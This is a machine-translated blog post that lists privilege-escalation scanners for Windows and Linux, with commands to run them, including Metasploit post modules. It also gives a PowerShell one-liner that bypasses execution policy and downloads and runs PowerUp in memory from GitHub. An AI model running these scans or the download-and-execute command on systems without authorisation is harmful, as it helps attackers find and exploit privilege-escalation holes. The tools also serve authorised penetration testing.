当前位置:网站首页>Lifting scanning tool
Lifting scanning tool
2022-06-30 13:57:00 【West Lake first sword】
1,Windows-Exploit-Suggester
Use Windows-Exploit-Suggester analysis systeminfo
https://github.com/AonCyberLabs/Windows-Exploit-Suggester
Because of the latest version of xlrd Yes xls The treatment of is different , This will result in an error if the script is used , So we use the old version xlrd, Remember the following command
pip2.7 install xlrd==1.2.0
python2 windows-exploit-suggester.py --update
python2 windows-exploit-suggester.py --database 2022-06-07-mssb.xls --systeminfo 1.txt

2, Use Linux-Exploit-Suggester.sh seek linux The question of raising power
Download address :https://github.com/mzet-/linux-exploit-suggester
./linux-exploit-suggester.sh
3, Use Sherlock Tools
Download address :https://github.com/rasta-mouse/Sherlock
Import-Module Sherlock.ps1
Find-AllVulns
4, Use MSF Query patches and exploitable rights raising vulnerabilities
His mother found that the target process was swept to death many times
meterpreter> run post/windows/gather/enum_patches
meterpreter> run post/multi/recon/local_exploit_suggester
5, Use powerup Check for rights raising vulnerabilities
powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"
powershell.exe -nop -exec bypass -c "IEX (New-object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1');Invoke-AllChecks"
6, Online web query
Search address :
http://bugs.hacking8.com/tiquan/
http://blog.neargle.com/win-powerup-exp-index/
边栏推荐
- Golang template (text/template)
- [the path of system analyst] Chapter V software engineering (software process improvement)
- 2022-06-23 sail soft part formula and SQL generation (month and quarter retrieval)
- More than 20 years after Hong Kong's return, Tupu digital twin Hong Kong Zhuhai Macao Bridge has shocked
- Introduction to reverse commissioning - VA and RVA conversion in PE 04/07
- Observable, reliable: the first shot of cloudops series Salon of cloud automation operation and maintenance
- Inexplicable error occurred in unity's frequent switching branch result model
- Je suis à Foshan, où puis - je ouvrir un compte? L'ouverture d'un compte par téléphone mobile est - elle sécurisée?
- 科普达人丨漫画图解什么是eRDMA?
- 数字时代,XDR(扩展检测与响应)的无限可能
猜你喜欢
![【科研数据处理】[基础]类别变量频数分析图表、数值变量分布图表与正态性检验(包含对数正态)](/img/70/8bf226964118efb324ca4d339df654.png)
【科研数据处理】[基础]类别变量频数分析图表、数值变量分布图表与正态性检验(包含对数正态)

Introduction to reverse commissioning - VA and RVA conversion in PE 04/07

In line with the trend of media integration, Zhongke Wenge and Meishe jointly create digital intelligence media publicity

这个编辑器即将开源!

More than 20 years after Hong Kong's return, Tupu digital twin Hong Kong Zhuhai Macao Bridge has shocked

60 divine vs Code plug-ins!!

60 个神级 VS Code 插件!!

Step by step | help you easily submit Google play data security form

Rk356x u-boot Institute (command section) 3.3 env related command usage

深入理解.Net中的线程同步之构造模式(二)内核模式2.内核模式构造物Semaphone
随机推荐
Deep understanding Net (2) kernel mode 2 Kernel mode construct semaphone
Clearing TinyMCE rich text cache in elementui
Observable, reliable: the first shot of cloudops series Salon of cloud automation operation and maintenance
Intelligent operation and maintenance: visual management system based on BIM Technology
Read all the knowledge points about enterprise im in one article
Mqtt ROS simulates publishing a custom message type
60 divine vs Code plug-ins!!
服务线上治理
get请求与post提交区别的简易理解
[Title brushing] avoid flooding
ABAP toolbox v1.0 (with implementation ideas)
Apache Doris Compaction優化百科全書
2022-06-23 sail soft part formula and SQL generation (month and quarter retrieval)
Introduction to reverse commissioning - VA and RVA conversion in PE 04/07
[recruitment (Guangzhou)] Chenggong Yi (Guangzhou) Net core middle and Senior Development Engineer
PG Basics - logical structure management (table inheritance, partition table)
[deep anatomy of C language] storage principle of float variable in memory & comparison between pointer variable and "zero value"
一条查询SQL是如何执行的
Basic syntax of unity script (4) - access to other game objects
How does MySQL merge columns?